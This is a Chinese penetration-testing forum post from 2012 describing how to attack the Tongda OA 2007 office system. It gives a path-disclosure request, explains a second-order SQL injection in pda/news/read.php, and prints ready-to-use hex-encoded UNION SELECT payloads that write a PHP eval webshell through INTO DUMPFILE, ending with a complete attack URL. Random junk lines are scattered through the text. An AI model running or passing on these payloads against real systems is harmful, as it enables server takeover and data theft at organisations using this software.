中国网络渗透测试联盟
标题:
通达OA2007版本漏洞及getshell
[打印本页]
作者:
admin
时间:
2012-12-20 08:09
标题:
通达OA2007版本漏洞及getshell
目前测试通达OA2007版本
& G5 \- K$ a3 f* t o
! \' u) C* V# P7 D+ a
+ j$ T4 p# Y" \ E) ]- B
Office Anywhere 2007 网络智能办公系统
3 ]6 j+ M; d2 s4 h, D3 D7 _6 S, E
/ T+ r: o* R K6 _! V
http://127.0.0.1/pda/news/read.php?P=%cf'
猪点。 暴web目录..
) V9 x/ r M" C
" r7 p2 I1 t8 }9 @% d3 O
+ h8 N1 Y% I# }! x
这个时候看了下代码，存在注入的那个变量的语句中第3个字段，在该文件下面被另外个select语句调用了，灵光一闪，大概思路是这样的
}4 q x; x* y) K! G% p
6 T2 ~1 k' ?; z# R: k8 \- a1 G
例如：SELECT * from USER where USER_ID='{$USERNAME}'
$ o' O/ M7 c% H; |, [
其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了
" I) _9 j7 b$ n/ y5 r
; k! O E& |5 z4 P, J% X6 {, C
这个时候我们是不是可以组合起来使用哪？
1 @' a1 K% G9 b6 C! c Z
) j/ D) f5 ]7 W5 V) Z
第一条语句开始注入，union select 1,2,3,4,5,6,7,8,9,10...，比如第3个是PROVIDER字段，我们这样
0 g: Y% H8 F: B8 h+ ~% t3 N8 x0 x
union select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10
3 l# q' i: J# y, D: }
O' N7 j) G6 B
这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了
; w6 A# j J6 V( u. ^, a% |( h! L9 t
) p& S2 x; k) B2 K4 G, n
那么问题来了，单引号可以吗？当然是不可以的，^_^。。。
' ?$ |0 d( Y% E
4 y2 f6 @: ~$ H- W9 W2 R" L6 r
那么我们用字符串格式带入进行hex编码
5 l8 r" z( p* D$ d/ O
: X. \( C4 k* \5 H: z9 l
%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
1 Z9 D! f! P1 C3 j7 D# g! A
) Q# X/ D: E4 f" o4 Z1 T, `
测试ok，获取oa的webshell
+ X- l$ |& o6 S
7 N G2 N4 J$ F% k& v
# N/ q0 Z+ `! `1 [9 u9 a: [
pda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
, \1 w6 |, M9 Z( p8 o1 }4 P& r$ S
直接getwebshell
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2